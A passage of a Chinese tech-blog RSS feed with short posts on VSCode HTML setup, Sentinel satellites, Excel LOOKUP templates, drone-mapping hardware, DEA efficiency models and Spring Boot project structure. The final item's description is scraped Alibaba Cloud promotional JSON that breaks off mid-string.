      <description>前端之路-用vscode写第一个html页面 下载软件：https://code.visualstudio.com/ 进入该网站，下载即可 安装插件&#xA;点击拓展按钮，搜索html，下载相关插件&#xA;搜索open in browser,安装一下，这样你的网页就可以在浏览器中显示了&#xA;自己在电脑里创建一个文件夹，这就是你的项目了，在vscode中打开。比较麻烦，但是vscode中没办法直接创建项目。&#xA;我的文件夹起名为FirstProject,在你的文件夹下新建文件&#xA;给你的文件起名，注意，要加后缀.html&#xA;右侧下方有一个语言模式，点一下。&#xA;在弹出来的框里写html，就配置好语言了&#xA;在页面里输入一个感叹号，然后按回车，会自动帮你补全&#xA;自己输入你想输入的内容，然后 Ctrl +S保存，这步操作一定要做，不然就是一片空白，保存完之后，按ALT+B，你的网页就出现了在浏览器中了</description>
    </item>
    <item>
      <title>modis数据介绍_哨兵系列数据介绍来啦！</title>
      <link>https://bchobby.github.io/posts/e7d814f6ee213771295bd460cc06a073/</link>
      <pubDate>Sat, 05 Dec 2020 01:34:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7d814f6ee213771295bd460cc06a073/</guid>
      <description>今天介绍的呢，是大名鼎鼎的哨兵数据，赶紧拿出你的小本本记好哦~&#xA;我们今天的话题，先从这位说起。&#xA;看了图片你不一定熟悉，但是如果提到他的名字-尼古拉·哥白尼，相信你一定有所耳闻。这位文艺复兴时期波兰伟大的天文学家，提出了日心说，更正了人们的宇宙观，他用毕生的精力去研究天文学，他的伟大著作《天体运行论》，为后世打开了开启探索宇宙世界的大门。&#xA;时间的车轮缓缓前行，来到了2012年。&#xA;哥白尼计划&#xA;2012年12月11日，欧委会副主席兼企业与工业委员塔亚尼在欧盟竞争理事会会议上宣布：“欧洲的全球环境与安全监测”计划更名为“哥白尼”计划。&#xA;下面是官方对于该计划的介绍：&#xA;该计划主要目标是通过对欧洲及非欧洲国家(第三方)现有和未来发射的卫星数据及现场观测数据进行协调管理和集成，实现环境与安全的实时动态监测，为决策者提供数据，以帮助他们制定环境法案，或是对诸如自然灾害和人道主义危机等紧急状况作出反应，保证欧洲的可持续发展和提升国际竞争力。&#xA;通俗一点解释就是：发射很多很多对地观测卫星组，通过他们来时刻监视地球的环境状态，提供全球范围的卫星遥感数据，用于监测海洋、陆地、污染、水质、森林、空气、全球变化、土地利用与土地覆盖状况及其变化等，应对污染和石油泄漏、洪水和森林火灾危机、地陷和山崩危机等突发事件。&#xA;那么这些卫星组的名字叫做什么呢？&#xA;当当当当~就是我们今天要介绍的主角--哨兵。他们不同的组以序数区别，而对于双星则以A、B等区分。&#xA;哨兵 自2014年发射第一颗哨兵-1A以来,该计划预计在2030年将有20余颗卫星在轨运行提供数据服务。哨兵家族目前已发射或在研的卫星包括有哨兵-1、哨兵-2、哨兵-3、哨兵-5p和哨兵-6卫星。哨兵-4和哨兵-5将载荷设备搭载在EUMTETSAT气象卫星上。&#xA;哨兵系列是目前最强大的免费遥感数据，强大在哪里？空间分辨率高，光谱质量好，种类全。&#xA;下面我们来挨个认识一下他们：&#xA;哨兵1 由哨兵-1A和哨兵-1B两颗处于同一轨道平面的极轨卫星组成，分别于2014年4月3日和2016年4月25日成功发射。卫星搭载C波段合成孔径雷达，具有4种成像模式，可为陆地和海洋服务提供全天时、全天候的雷达图像，提供一系列运营服务，包括北极海冰，日常海冰测绘，海洋环境监视监测科研，监测地面运动风险，森林制图，水和土壤管理和测绘，以支持人道主义援助和危机情况。&#xA;2015-17的Sentinel-1数据&#xA;哨兵2 包括两颗卫星极地轨道相位成180°的多光谱高分辨率光学卫星组成，即哨兵-2A、哨兵-2B，两颗卫星分别于2015年6月22日和2017年3月7日成功发射，用于陆地监测以提供例如植被、土壤和水覆盖、内陆航道和海岸区域的图像，以及发布应急服务信息。&#xA;2015.12-2016.12 Sentinel-2A影像 土地覆盖类型&#xA;哨兵3 卫星搭载多个有效载荷，包括海洋和陆地色彩仪器，海洋和陆地表面温度辐射计、SAR雷达高度计、微波辐射计和精确定轨仪器等，主要目标是高精度和高可靠性地测量海面地形，海洋和陆地表面温度以及海洋和陆地表面颜色，以支持海洋预报系统，环境监测和气候监测。哨兵-3A卫星已于2016年2月16日成功发射，哨兵-3B计划于2018年4月发射。&#xA;Sentinel-3A 监测地表温度&#xA;哨兵4 主要致力于对空气质量痕量气体和气溶胶等监测。其有效载荷紫外-可见光-近红外光谱仪和热红外探测器将搭载于第三代静止轨道气象卫星(MTG-S)上，通过红外探测仪将与紫外探测仪协同工作，提供对臭氧，一氧化碳，二氧化硫和其他痕量气体综合观测能力，以支持空气质量、污染和气候监测等。&#xA;哨兵5P(先导) 该卫星于2017年10月13日成功发射，其使用有效载荷对流层臭氧监测仪主要用于监测大气污染情况，以跟踪二氧化氮、臭氧、甲醛、二氧化硫、甲烷、一氧化碳等气体的浓度。每次通过，卫星可以进行长达2600公里的扫描。这些信息将用于制定空气质量预报，并帮助指导其他相关决定。&#xA;欧洲NO2浓度 (Sentinel-5P)&#xA;哨兵5 主要任务致力于大气成分监测，其有效载荷紫外-可见光-近红外-短波红外光谱仪具有7个不同的光谱波段，将装载在第二代气象卫星(Metop-SG)上。卫星计划2021年发射，它将提供大气关键成分如臭氧、二氧化氮、二氧化硫、一氧化碳、甲烷、甲醛和气溶胶性质的准确测量数据。&#xA;哨兵6 卫星为大倾角的非太阳同步卫星，携带雷达高度计等有效载荷，用于业务化海洋学研究。任务目标是使用两个连续的相同卫星在2020-2030年进行高精度的全球海平面高度测量。&#xA;海洋测高卫星-平均海平面上升 (Sentinel-6 2020年)&#xA;是不是又有点记不住的感觉？别急，课代表马上就来！&#xA;发射时间表：&#xA;▼&#xA;留个彩蛋，既然前文提到了哨兵系列是目前最强大的免费遥感数据，那么，从哪里下载？怎样下载？预知后事如何，请看下集~&#xA;之前的数据介绍请戳：&#xA;MODIS的介绍来啦！&#xA;Landsat介绍来啦&#xA;高分系列的介绍来啦！&#xA;点个赞，证明你还爱我</description>
    </item>
    <item>
      <title>WPS Excel 模板设置与生成</title>
      <link>https://bchobby.github.io/posts/30d36e06d88b9df321c9303b3931bcc9/</link>
      <pubDate>Fri, 04 Dec 2020 23:26:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30d36e06d88b9df321c9303b3931bcc9/</guid>
      <description> WPS Excel 模板设置与生成 背景 根据给定的Excel生成其他excel。比如sheet1是个总表，sheet2 sheet3…是根据sheet1每行数据填充的同模板的分表。&#xA;想做完sheet2的数据关联后，快捷的制作sheet3…&#xA;核心知识点 LOOKUP()函数的应用：LOOKUP(lookup_value,lookup_vector,result_vector)&#xA;lookup_value:为函数 LOOKUP 在第一个向量中所要查找的数值。lookup_value 可以为数字、文本、逻辑值或包含数值的名称或引用。eg:1或A2等等lookup_vector:为只包含一行或一列的区域。lookup_vector 的数值可以为文本、数字或逻辑值。eg:B2:B10，B列的第2行至第10行为查找值(lookup_value)检索范围result_vector: 只包含一行或一列的区域，其大小必须与 lookup_vector 相同。eg:C2:C10，C列的第2行至第10行为返回值检索范围 Lookup函数基本使用 将示例复制到空白工作表中，可能会更易于理解该示例。照着Lookup函数的内容敲一遍，WPS会高亮显示Lookup()函数中每个参数的实际效果：&#xA;Excel 模板设置与生成 sheet1是源数据表，里面存储个人的基础信息，sheet2、sheet3…都是其他各种版式的表（如sheet2是工资单表，sheet3是简历表…）&#xA;为了便于识别，我对每个sheet都进行了命名，先看源数据表，命名为总表：&#xA;设置模板 简要模板表中数据信息全来自总表，都是通过一个关键字段值进行关联(如图中绿色背景的工号，保证唯一性即可)，不用复制总表得到，可以参考以下图表及公式：&#xA;公式解析：&#xA;E2： 表示要查找的值总表!：总表对应sheet1的名字，这个可以自定义；! 这个感叹号是不能少的，表示要从总表读取数据A2:A7： 表示查找值的 行检索范围，从A列的第2行至第7行B2:B2： 表示返回值的 行检索范围，从B列的第2行至第7行 根据模板快速生成sheet 鼠标浮动到 简要模板 字样上右键-&amp;gt;选移动或复制工作表在弹出框的下列选定工作表之前:中，选择(移至最后)，这一步主要是选择生成的sheet表位置，一般默认放最后即可勾选建立副本，点确定生成模板后，修改工号，其他字段的内容就会自动修改，图示如下： </description>
    </item>
    <item>
      <title>无人机测绘 - 运算服务器最佳配置</title>
      <link>https://bchobby.github.io/posts/56872e10155b7f007aa9c7f92c231db9/</link>
      <pubDate>Fri, 04 Dec 2020 15:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56872e10155b7f007aa9c7f92c231db9/</guid>
      <description>先说总结：&#xA;CPU ：i9 9900ks处理器&#xA;内存：64GB&#xA;硬盘：1TB固态&#xA;显卡：1660ti&#xA;局域网：至少千兆&#xA;======================================&#xA;公司当时买过天梯榜单第一名的AMD，然而在跑图的过程中，有相当一部分时间是单核运行，所以CPU主频率高，也是个非常关键的点。&#xA;还有买过比1660ti更贵的显卡，网上也有人试过2080ti，然而不知道是CC和Pix4d的问题还是怎么滴，反正用时差不多，而且跑图的过程中，显卡并不是全程都在使用的，所以死命买贵的，也不会增加太多的收益。&#xA;也堆了超过100GB的内存，然而这100GB的内存没有一次是用完了的，因为如果图太大了，我们就会切块来跑，将运算压力分出去，从而加快时间。&#xA;当然啦还有一种情况就是使用Pix4d跑正射的时候，这100GB也用不上，因为Pix4D的程序设计有问题，点云太多，会超过Int数据类型的限制，从而死机。&#xA;所以会降低点数来跑，所以再多的内存都是鸡肋。&#xA;这个1TB的固态，是很有必要的，当然是在CC群集的主服务上。&#xA;如果你想加快运算进度，办法只有增加主机，或者在晚上将同事的电脑利用上才可以，单单一台高价主机，不会带来太大的收益。</description>
    </item>
    <item>
      <title>超效率dea模型_DEASolver配置效率：传统成本效率、收入效率和利润效率</title>
      <link>https://bchobby.github.io/posts/980d9c326fef1373ddcfb8f83a66e776/</link>
      <pubDate>Fri, 04 Dec 2020 14:49:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/980d9c326fef1373ddcfb8f83a66e776/</guid>
      <description>主要内容&#xA;视频内容B站：&#xA;DEA模型与相关软件培训全套视频教程 这篇讲成本效率 cost&#xA;收入效率 revenue&#xA;利润效率 profit&#xA;当然软件还有更进一步的 new cost ，new-revenue，new-profit 应该是某种程度上对原来模型的改进。这里先不管，了解一下大概的原理。模型的构建。&#xA;以及应用的场合。&#xA;成本效率&#xA;配置效率 * 技术效率 = 成本效率 配置效率 = 成本效率 / 技术效率&#xA;技术效率 = 纯技术效率 * 规模效率&#xA;OE = AE * TE = AE *PTE * SE&#xA;成本效率 = 配置效率 * 纯技术效率 * 规模效率&#xA;举例 ：数据集是一个投入后面跟上一个成本，主要是括号里要写对，同时得是英文状态下的() 。&#xA;成本效率模型，想一想最优当然是成本最低。。。&#xA;收入效率&#xA;P是price 每个产出对应的&#xA;利润效率&#xA;讲点多余的话：&#xA;某人，你都研究生了还指望老师教你啊，你自己去学，不懂的去问。&#xA;ok，现在很清醒。&#xA;DEAsolver 这里的模型，还是有很多可以改进的地方。&#xA;或者说，比如SBM和非自由处置变量结合起来，啥啥啥结合起来。&#xA;那你首先要了解基本的经典模型，需要运筹学基础。什么是对偶模型，怎么解释系数，什么是影子价格，如何解释的？&#xA;有时候，就需要自己会编程。&#xA;lingo里如果不行，就用MATLAB ，畏难就永远学不会。&#xA;想想当初重新学高数，学现代，其实也挺难的。&#xA;所以，一步步的去学，也是能够学会的吧。&#xA;当然，还是得有一个目标(方向)，沿着这个目标，我去套用哪些复杂的模型，模型优化好了之后，还要能够跑数据，能够做对比，去解释结果。</description>
    </item>
    <item>
      <title>springBoot学习（2）：目录结构</title>
      <link>https://bchobby.github.io/posts/10ea1ca65f30d598cc0ccfb7e75269b4/</link>
      <pubDate>Fri, 04 Dec 2020 14:39:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10ea1ca65f30d598cc0ccfb7e75269b4/</guid>
      <description> 目录结构&#xA;src/main/java：主程序入口 Application，可以通过直接运行该类来 启动 Spring Boot应用&#xA;src/main/resources：配置目录，该目录用来存放应用的一些配置信息，比如应用名、服务端口、数据库配置等。由于我们应用了Web模块，因此产生了 static目录与templates目录，前者用于存放静态资源，如图片、CSS、JavaScript等；后者用于存放Web页面的模板文件。&#xA;src/test：单元测试目录，生成的 ApplicationTests 通过 JUnit4实现，可以直接用运行 Spring Boot应用的测试。&#xA;application.properties/application.yml 用于存放程序的各种依赖模块的配置信息，比如 服务端口，数据库连接配置等。。。&#xA;--------------------- 1）代码层的结构&#xA;根目录：com.springboot&#xA;1.工程启动类(ApplicationServer.java)置于com.springboot.build包下&#xA;2.实体类(domain)置于com.springboot.domain&#xA;3.数据访问层(Dao)置于com.springboot.repository&#xA;4.数据服务层(Service)置于com,springboot.service,数据服务的实现接口(serviceImpl)至于com.springboot.service.impl&#xA;5.前端控制器(Controller)置于com.springboot.controller&#xA;6.工具类(utils)置于com.springboot.utils&#xA;7.常量接口类(constant)置于com.springboot.constant&#xA;8.配置信息类(config)置于com.springboot.config&#xA;9.数据传输类(vo)置于com.springboot.vo&#xA;（2）资源文件的结构&#xA;根目录:src/main/resources&#xA;1.配置文件(.properties/.json等)置于config文件夹下&#xA;2.国际化(i18n))置于i18n文件夹下&#xA;3.spring.xml置于META-INF/spring文件夹下&#xA;4.页面以及js/css/image等置于static文件夹下的各自文件下&#xA;https://blog.csdn.net/yunyishang123/article/details/80632644&#xA;根目录：src.main.java&#xA;1.工程启动类(Application.java)：置于com.cy.project包下或者com.cy.project.app包下&#xA;2.实体类(domain)：置于com.cy.project.domain&#xA;3.数据访问层(Dao)：置于com.cy.project.repository（dao）&#xA;4.数据服务层(Service)：置于com.cy.project.service 5.数据服务接口的实现(serviceImpl)：同样置于com.cy.project.service或者置于com.cy.project.service.impl&#xA;6.前端控制器(Controller)：置于com.cy.project.controller&#xA;7.工具类(utils)：置于com.cy.project.utils&#xA;8.常量接口类(constant)：置于com.cy.project.constant&#xA;9.配置信息类(config)：置于com.cy.project.config&#xA;资源文件：src.main.resources&#xA;1.页面以及js/css/image等置于static文件夹下的各自文件下&#xA;2.使用模版相关页面等置于templates文件夹下的各自文件下&#xA;--------------------- 命名包名目录的方式 :com.公司名的简写.项目的名字.业务模块名&#xA;springboot 提供了一个解决方案吧，可以先不关心如何配置，可以快速的启动开发，进行业务逻辑编写，各种需要的技术，加入 starter 就配置好了，直接使用，可以说追求开箱即用的效果吧&#xA;AJAX 是与服务器交换数据并更新部分网页的艺术，在不重新加载整个页面的情况下。&#xA;Node.js http://www.runoob.com/nodejs/node-js-get-post.html&#xA;参考 https://blog.csdn.net/linabc123000/article/details/68954236 eclipse下创建第一个spring boot项目&#xA;参考 https://mp.weixin.qq.com/s/HTUNwizViOqNc1YInO7otQ Spring Boot 配置文件中的花样，看这一篇足矣！ </description>
    </item>
    <item>
      <title>我win7怎么安装不了python_学编程，安装python时出现不能安装的情况，如图，在win7系统下，怎么解决？...</title>
      <link>https://bchobby.github.io/posts/c0a44447382980c69be2e15d41167c78/</link>
      <pubDate>Fri, 04 Dec 2020 03:35:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0a44447382980c69be2e15d41167c78/</guid>
      <description>{&#34;optioninfo&#34;:{&#34;dynamic&#34;:&#34;true&#34;,&#34;static&#34;:&#34;true&#34;},&#34;simplifiedDisplay&#34;:&#34;detailCard&#34;,&#34;newCard&#34;:[{&#34;ifIcon&#34;:&#34;icon&#34;,&#34;icon&#34;:&#34;censor&#34;,&#34;iconImg&#34;:&#34;&#34;,&#34;contentLink&#34;:&#34;https://ai.aliyun.com/vi/censor&#34;,&#34;title&#34;:&#34;视频审核&#34;,&#34;des&#34;:&#34;视频智能审核服务(Video Censor)基于海量标注数据和深度学习算法实现&#34;,&#34;btn1&#34;:&#34;立即开通&#34;,&#34;link1&#34;:&#34;https://ai.aliyun.com/vi/censor&#34;,&#34;btn2&#34;:&#34;购买资源包&#34;,&#34;link2&#34;:&#34;https://common-buy.aliyun.com/?spm=5176.12156423.1243038.2.1c4e21472LF901&amp;amp;commodityCode=vod_censor_bag#/buy&#34;,&#34;btn3&#34;:&#34;产品价格&#34;,&#34;link3&#34;:&#34;https://www.aliyun.com/price/product?spm=5176.12156423.1243038.3.1c4e21472LF901#/vod/detail&#34;,&#34;infoGroup&#34;:[{&#34;infoName&#34;:&#34;主要功能&#34;,&#34;infoContent&#34;:{&#34;firstContentName&#34;:&#34;色情识别&#34;,&#34;firstContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;,&#34;lastContentName&#34;:&#34;暴恐涉政识别&#34;,&#34;lastContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;}},{&#34;infoName&#34;:&#34;产品优势&#34;,&#34;infoContent&#34;:{&#34;firstContentName&#34;:&#34;大幅降低运营成本&#34;,&#34;firstContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;,&#34;lastContentName&#34;:&#34;风险覆盖全&#34;,&#34;lastContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;}}]}],&#34;card&#34;:[{&#34;link&#34;:&#34;#&#34;,&#34;icon&#34;:&#34;https://img.alicdn.com/tfs/TB1afahQpXXXXaAapXXXXXXXXXX-114-114.png&#34;,&#34;title&#34;:&#34;云服务器ECS&#34;,&#34;des&#34;:&#34;云服务器(Elastic Compute Service，简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务，帮助您快速构建更稳定、安全的应用，提升运维效率，降低 IT 成本，使您更专注于核心业务。&#34;,&#34;btn1&#34;:&#34;FPGA云服务器&#34;,&#34;link1&#34;:&#34;#&#34;,&#34;btn2&#34;:&#34;GPU云服务器&#34;,&#34;link2&#34;:&#34;#&#34;,&#34;tip&#34;:&#34;新一代云服务器N5 (Xeon® (Skylake)处理器)上线！立即申请&#34;}],&#34;search&#34;:[{&#34;txt&#34;:&#34;云数据库&#34;,&#34;link&#34;:&#34;#&#34;}],&#34;infoCard&#34;:[{&#34;bannerTitle&#34;:&#34;容器服务 ACK&#34;,&#34;bannerUrl&#34;:&#34;https://sucai-material-online.oss-cn-hangzhou.aliyuncs.com/image/hytxyyzq.jpg?Expires=1601273745&amp;amp;OSSAccessKeyId=ZWQG8meWkF3hYIf0&amp;amp;Signature=4DqSTctVr1IizPxE5pyjvd94cGc%3D&amp;amp;x-oss-process=image%2Fresize%2Cw_1072%2Fquality%2CQ_80&#34;,&#34;bannerContent&#34;:&#34;容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力，支持企业级容器化应用的 全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力，打造云端最佳容器化应用运行环境。&#34;,&#34;liveButtonName&#34;:&#34;立即购买&#34;,&#34;liveButtonLink&#34;:&#34;https://www.aliyun.com/product/kubernetes&#34;,&#34;homePageName&#34;:&#34;管理控制台&#34;,&#34;homePageLink&#34;:&#34;https://cs.console.aliyun.com/index2#/k8s/cluster/list&#34;,&#34;contentTitle&#34;:&#34;相关推荐&#34;,&#34;linkGroup&#34;:[{&#34;linkContent&#34;:&#34;企业版低至85折&#34;,&#34;linkTo&#34;:&#34;立即抢购&#34;,&#34;link&#34;:&#34;https://common-buy.aliyun.com/?spm=5176.181001.1396228.1.334760dfEMZUnP&amp;amp;commodityCode=acr_ee_public_cn&amp;amp;regionId=cn-beijing#/buy&#34;},{&#34;link&#34;:&#34;https://help.aliyun.com/learn/learningpath/cs.html&#34;,&#34;linkContent&#34;:&#34;学习更多容器服务内容&#34;,&#34;linkTo&#34;:&#34;马上进入&#34;},{&#34;link&#34;:&#34;https://cloud.video.taobao.com/play/u/2554819776/p/1/e/6/t/1/50197975.mp4&#34;,&#34;linkContent&#34;:&#34;查看关于容器服务视频&#34;,&#34;linkTo&#34;:&#34;立即观看&#34;}]}],&#34;title&#34;:{&#34;mainTitle&#34;:&#34;资源管理&#34;,&#34;subtitle&#34;:&#34;阿里云资源管理服务包含一系列支持企业IT治理的资源管理产品集合。其中主要产品为资源组和资源目录。资源管理服务支持您按照业务需要搭建适合的资源组织关系，使用目录、资源夹、账号、资源组分层次组织与管理您的全部资源。&#34;,&#34;linkUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;,&#34;btnText&#34;:&#34;查看详情&#34;},&#34;visual&#34;:{&#34;topbg&#34;:&#34;https://img.alicdn.com/tfs/TB13OJKfkL0gK0jSZFAXXcA9pXa-2880-1080.jpg&#34;,&#34;icon&#34;:&#34;aliyun-icon-play&#34;,&#34;textColor&#34;:&#34;light&#34;},&#34;dataList&#34;:[{&#34;summary&#34;:&#34;搭建企业资源树&#34;,&#34;author&#34;:&#34;使用资源夹可快速构建5层结构，适配企业资源关系灵活定义&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;summary&#34;:&#34;邀请外部账号加入&#34;,&#34;author&#34;:&#34;将游离在企业资源目录外的账号邀请进来&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;summary&#34;:&#34;创建资源容器账号&#34;,&#34;author&#34;:&#34;快速创建资源账号和云账号，作为目录内的资源容器&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;author&#34;:&#34;为企业设置统一财资管理账号，实现集中付款、查账、开票&#34;,&#34;summary&#34;:&#34;实现企业统一财资&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;}],&#34;sceneCard&#34;:[{&#34;title&#34;:&#34;云计算试飞员老蒋开课啦！第一期：电商网站搭建&#34;,&#34;des&#34;:&#34;这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。&#34;,&#34;btn&#34;:&#34;立即观看&#34;,&#34;link&#34;:&#34;#&#34;,&#34;image&#34;:&#34;https://&#34;}],&#34;txt&#34;:[{&#34;title&#34;:&#34;适用场景&#34;,&#34;scenariosone&#34;:[{&#34;txtone&#34;:&#34;小型电商：支持访问50万PV,一段场景方案的介绍。&#34;,&#34;txttwo&#34;:&#34;产品推荐&#34;,&#34;product&#34;:[{&#34;name&#34;:&#34;ECS 2核4G 40G数据盘 5M带宽&#34;,&#34;link&#34;:&#34;#&#34;}]}]}]}&#xA;{&#34;$env&#34;:{&#34;JSON&#34;:{}},&#34;$page&#34;:{&#34;env&#34;:&#34;production&#34;},&#34;$context&#34;:{&#34;optioninfo&#34;:{&#34;dynamic&#34;:&#34;true&#34;,&#34;static&#34;:&#34;true&#34;},&#34;simplifiedDisplay&#34;:&#34;detailCard&#34;,&#34;newCard&#34;:[{&#34;ifIcon&#34;:&#34;icon&#34;,&#34;icon&#34;:&#34;censor&#34;,&#34;iconImg&#34;:&#34;&#34;,&#34;contentLink&#34;:&#34;https://ai.aliyun.com/vi/censor&#34;,&#34;title&#34;:&#34;视频审核&#34;,&#34;des&#34;:&#34;视频智能审核服务(Video Censor)基于海量标注数据和深度学习算法实现&#34;,&#34;btn1&#34;:&#34;立即开通&#34;,&#34;link1&#34;:&#34;https://ai.aliyun.com/vi/censor&#34;,&#34;btn2&#34;:&#34;购买资源包&#34;,&#34;link2&#34;:&#34;https://common-buy.aliyun.com/?spm=5176.12156423.1243038.2.1c4e21472LF901&amp;amp;commodityCode=vod_censor_bag#/buy&#34;,&#34;btn3&#34;:&#34;产品价格&#34;,&#34;link3&#34;:&#34;https://www.aliyun.com/price/product?spm=5176.12156423.1243038.3.1c4e21472LF901#/vod/detail&#34;,&#34;infoGroup&#34;:[{&#34;infoName&#34;:&#34;主要功能&#34;,&#34;infoContent&#34;:{&#34;firstContentName&#34;:&#34;色情识别&#34;,&#34;firstContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;,&#34;lastContentName&#34;:&#34;暴恐涉政识别&#34;,&#34;lastContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;}},{&#34;infoName&#34;:&#34;产品优势&#34;,&#34;infoContent&#34;:{&#34;firstContentName&#34;:&#34;大幅降低运营成本&#34;,&#34;firstContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;,&#34;lastContentName&#34;:&#34;风险覆盖全&#34;,&#34;lastContentLink&#34;:&#34;https://ai.aliyun.com/vi/censor?spm=5176.10695662.h2v3icoap.94.1edb7d71Chv8fN&#34;}}]}],&#34;card&#34;:[{&#34;link&#34;:&#34;#&#34;,&#34;icon&#34;:&#34;https://img.alicdn.com/tfs/TB1afahQpXXXXaAapXXXXXXXXXX-114-114.png&#34;,&#34;title&#34;:&#34;云服务器ECS&#34;,&#34;des&#34;:&#34;云服务器(Elastic Compute Service，简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务，帮助您快速构建更稳定、安全的应用，提升运维效率，降低 IT 成本，使您更专注于核心业务。&#34;,&#34;btn1&#34;:&#34;FPGA云服务器&#34;,&#34;link1&#34;:&#34;#&#34;,&#34;btn2&#34;:&#34;GPU云服务器&#34;,&#34;link2&#34;:&#34;#&#34;,&#34;tip&#34;:&#34;新一代云服务器N5 (Xeon® (Skylake)处理器)上线！立即申请&#34;}],&#34;search&#34;:[{&#34;txt&#34;:&#34;云数据库&#34;,&#34;link&#34;:&#34;#&#34;}],&#34;infoCard&#34;:[{&#34;bannerTitle&#34;:&#34;容器服务 ACK&#34;,&#34;bannerUrl&#34;:&#34;https://sucai-material-online.oss-cn-hangzhou.aliyuncs.com/image/hytxyyzq.jpg?Expires=1601273745&amp;amp;OSSAccessKeyId=ZWQG8meWkF3hYIf0&amp;amp;Signature=4DqSTctVr1IizPxE5pyjvd94cGc%3D&amp;amp;x-oss-process=image%2Fresize%2Cw_1072%2Fquality%2CQ_80&#34;,&#34;bannerContent&#34;:&#34;容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力，支持企业级容器化应用的 全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力，打造云端最佳容器化应用运行环境。&#34;,&#34;liveButtonName&#34;:&#34;立即购买&#34;,&#34;liveButtonLink&#34;:&#34;https://www.aliyun.com/product/kubernetes&#34;,&#34;homePageName&#34;:&#34;管理控制台&#34;,&#34;homePageLink&#34;:&#34;https://cs.console.aliyun.com/index2#/k8s/cluster/list&#34;,&#34;contentTitle&#34;:&#34;相关推荐&#34;,&#34;linkGroup&#34;:[{&#34;linkContent&#34;:&#34;企业版低至85折&#34;,&#34;linkTo&#34;:&#34;立即抢购&#34;,&#34;link&#34;:&#34;https://common-buy.aliyun.com/?spm=5176.181001.1396228.1.334760dfEMZUnP&amp;amp;commodityCode=acr_ee_public_cn&amp;amp;regionId=cn-beijing#/buy&#34;},{&#34;link&#34;:&#34;https://help.aliyun.com/learn/learningpath/cs.html&#34;,&#34;linkContent&#34;:&#34;学习更多容器服务内容&#34;,&#34;linkTo&#34;:&#34;马上进入&#34;},{&#34;link&#34;:&#34;https://cloud.video.taobao.com/play/u/2554819776/p/1/e/6/t/1/50197975.mp4&#34;,&#34;linkContent&#34;:&#34;查看关于容器服务视频&#34;,&#34;linkTo&#34;:&#34;立即观看&#34;}]}],&#34;title&#34;:{&#34;mainTitle&#34;:&#34;资源管理&#34;,&#34;subtitle&#34;:&#34;阿里云资源管理服务包含一系列支持企业IT治理的资源管理产品集合。其中主要产品为资源组和资源目录。资源管理服务支持您按照业务需要搭建适合的资源组织关系，使用目录、资源夹、账号、资源组分层次组织与管理您的全部资源。&#34;,&#34;linkUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;,&#34;btnText&#34;:&#34;查看详情&#34;},&#34;visual&#34;:{&#34;topbg&#34;:&#34;https://img.alicdn.com/tfs/TB13OJKfkL0gK0jSZFAXXcA9pXa-2880-1080.jpg&#34;,&#34;icon&#34;:&#34;aliyun-icon-play&#34;,&#34;textColor&#34;:&#34;light&#34;},&#34;dataList&#34;:[{&#34;summary&#34;:&#34;搭建企业资源树&#34;,&#34;author&#34;:&#34;使用资源夹可快速构建5层结构，适配企业资源关系灵活定义&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;summary&#34;:&#34;邀请外部账号加入&#34;,&#34;author&#34;:&#34;将游离在企业资源目录外的账号邀请进来&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;summary&#34;:&#34;创建资源容器账号&#34;,&#34;author&#34;:&#34;快速创建资源账号和云账号，作为目录内的资源容器&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;},{&#34;author&#34;:&#34;为企业设置统一财资管理账号，实现集中付款、查账、开票&#34;,&#34;summary&#34;:&#34;实现企业统一财资&#34;,&#34;linksUrl&#34;:&#34;https://www.aliyun.com/product/entconsole&#34;}],&#34;sceneCard&#34;:[{&#34;title&#34;:&#34;云计算试飞员老蒋开课啦！第一期：电商网站搭建&#34;,&#34;des&#34;:&#34;这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。这是一段副标介绍，这是一段副标介绍。&#34;,&#34;btn&#34;:&#34;立即观看&#34;,&#34;link&#34;:&#34;#&#34;,&#34;image&#34;:&#34;https://&#34;}],&#34;txt&#34;:[{&#34;title&#34;:&#34;适用场景&#34;,&#34;scenariosone&#34;:[{&#34;txtone&#34;:&#34;小型电商：支持访问50万PV,一段场景方案的介绍。&#34;,&#34;t